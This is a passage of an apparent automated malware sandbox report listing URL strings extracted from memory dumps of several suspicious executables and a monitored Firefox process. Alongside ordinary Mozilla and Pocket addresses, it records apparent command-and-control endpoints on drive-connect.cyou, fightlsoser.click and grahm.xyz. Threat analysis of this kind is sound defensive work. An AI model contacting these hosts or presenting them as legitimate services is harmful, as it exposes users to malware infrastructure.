Source: 8b334ae3d2.exe, 00000028.00000003.2854920034.0000000003B53000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2854108574.0000000003B52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/P3
Source: 8b334ae3d2.exe, 00000028.00000003.2951753338.0000000003B55000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2951753338.0000000003B6A000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000002.2973460300.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2950806694.0000000003B51000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2900451371.0000000003B54000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2950806694.0000000003B6A000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000002.2981448020.0000000003B6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/api
Source: 8b334ae3d2.exe, 00000028.00000003.2804043875.000000000148B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/api##
Source: 8b334ae3d2.exe, 00000028.00000002.2973460300.00000000014A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/apid
Source: 8b334ae3d2.exe, 00000028.00000003.2900451371.0000000003B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/apii8R
Source: 8b334ae3d2.exe, 00000028.00000002.2970973072.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/lEo
Source: 8b334ae3d2.exe, 00000028.00000003.2854920034.0000000003B53000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2854108574.0000000003B52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/p3
Source: 8b334ae3d2.exe, 00000028.00000003.2951753338.0000000003B55000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000002.2980116484.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2950806694.0000000003B51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/u
Source: 8b334ae3d2.exe, 00000028.00000002.2970973072.0000000001424000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou:443/api
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000037.00000003.2908344073.00000230FAC20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2908493891.00000230FAC3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2908166117.00000230FAA00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3358438680.00001A61D4A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3042482082.00000230F8730000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000037.00000003.2908806923.00000230FAC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3321948825.00000230FBBD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: 1747150d4f.exe, 00000007.00000003.2742716601.0000000003C4B000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2742940091.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2829915112.0000000003B9C000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830095292.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 1747150d4f.exe, 00000007.00000003.2742716601.0000000003C4B000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2742940091.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2829915112.0000000003B9C000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830095292.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 1747150d4f.exe, 00000007.00000003.2742716601.0000000003C4B000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2742940091.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2829915112.0000000003B9C000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830095292.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3005955563.00000230F6D7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2910862097.00000230FA833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3088489367.00000230FA838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2910862097.00000230FA833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3088489367.00000230FA838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000037.00000002.3007602149.00000230F7003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: 1747150d4f.exe, 00000007.00000002.2949871590.0000000001566000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2856759428.0000000001554000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2944515202.0000000001554000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2901013760.0000000001551000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2901796183.0000000001566000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2771760830.000000000155B000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2901013760.0000000001566000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2824905128.0000000003C0E000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2797108137.0000000003C09000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2943074955.0000000001566000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2825058515.0000000003C10000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000002.2949689508.0000000001554000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2850074148.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/
Source: 1747150d4f.exe, 00000007.00000003.2824754780.0000000003C0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/-Q
Source: 1747150d4f.exe, 00000007.00000003.2797449560.0000000003C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/..v
Source: 1747150d4f.exe, 00000007.00000002.2948215481.00000000014BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/1Q
Source: 1747150d4f.exe, 00000007.00000003.2944515202.0000000001543000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2943074955.0000000001566000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2857882904.0000000001566000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2825911290.000000000155C000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2825401774.000000000155C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/api
Source: 1747150d4f.exe, 00000007.00000003.2901948742.00000000014E8000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000002.2948215481.00000000014E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/api2Q
Source: 1747150d4f.exe, 00000007.00000003.2741842662.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/api3
Source: 1747150d4f.exe, 00000007.00000003.2901698864.00000000014FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/api4Q
Source: 1747150d4f.exe, 00000007.00000003.2771760830.000000000155B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/api6P
Source: 1747150d4f.exe, 00000007.00000002.2949871590.0000000001566000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2901796183.0000000001566000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2901013760.0000000001566000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2943074955.0000000001566000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2857882904.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/apiA
Source: 1747150d4f.exe, 00000007.00000003.2824992014.000000000155B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/apiCo
Source: 1747150d4f.exe, 00000007.00000003.2771760830.000000000155B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/apiPl
Source: 1747150d4f.exe, 00000007.00000003.2850239438.0000000001562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/apie
Source: 1747150d4f.exe, 00000007.00000003.2771760830.000000000155B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/apiin0
Source: 1747150d4f.exe, 00000007.00000003.2944515202.0000000001554000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000002.2949689508.0000000001554000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click/d
Source: 1747150d4f.exe, 00000007.00000003.2901948742.00000000014E8000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000002.2948215481.00000000014E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fightlsoser.click:443/api
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000037.00000002.3042636636.00000230F87F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v17e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v17e40f68c-7938-4c5d-9f95-e61647c213ebclearCache/this.
Source: firefox.exe, 00000037.00000002.3357568201.000004C312904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3004995776.00000230F68A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000037.00000002.3004995776.00000230F68A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.comsqlite_temp_master
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3355984254.000002310520B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabresource://activity-stream/lib/DiscoveryStreamF
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabresource://gre/modules/PrivateBrowsingUtils.sys
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-recommended-by-description-new
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moresetupPrefs/hideDescriptionsRegions
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3355984254.000002310520B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsresource://gre/modules/DeferredTask.sys.mjsConfiguration
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000037.00000002.3032209728.00000230F8003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 00000037.00000002.3351824847.0000023103220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000037.00000002.3351824847.0000023103220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000037.00000002.3351824847.0000023103220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.mdexperimental-features
Source: firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: d6cdb1061b.exe, 00000029.00000003.2855136229.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000002.2967658282.00000000005BD000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: https://grahm.xyz
Source: d6cdb1061b.exe, 00000029.00000003.2855136229.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000002.2973064073.000000000075E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/
Source: d6cdb1061b.exe, 00000029.00000003.2901450457.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2878106451.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2831942653.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2928756567.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000002.2976487065.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2855136229.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/$
Source: d6cdb1061b.exe, 00000029.00000003.2901450457.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2878106451.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/(
Source: d6cdb1061b.exe, 00000029.00000003.2831942653.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/O
Source: d6cdb1061b.exe, 00000029.00000002.2973064073.000000000075E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/e
Source: d6cdb1061b.exe, 00000029.00000002.2973064073.000000000075E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/e~
Source: d6cdb1061b.exe, 00000029.00000003.2901450457.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2878106451.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2928756567.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000002.2976487065.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2855136229.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/g
Source: d6cdb1061b.exe, 00000029.00000003.2831942653.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2928756567.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/t
Source: d6cdb1061b.exe, 00000029.00000002.2967658282.00000000005BD000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: https://grahm.xyz17.0.5938.132exe
Source: d6cdb1061b.exe, 00000029.00000002.2967658282.00000000005BD000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: https://grahm.xyzData
Source: d6cdb1061b.exe, 00000029.00000002.2967658282.00000000005BD000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: https://grahm.xyze:
Source: d6cdb1061b.exe, 00000029.00000002.2967658282.00000000005BD000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: https://grahm.xyzmss.exe
Source: d6cdb1061b.exe, 00000029.00000002.2967658282.0000000000489000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: https://grahm.xyztosh;
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
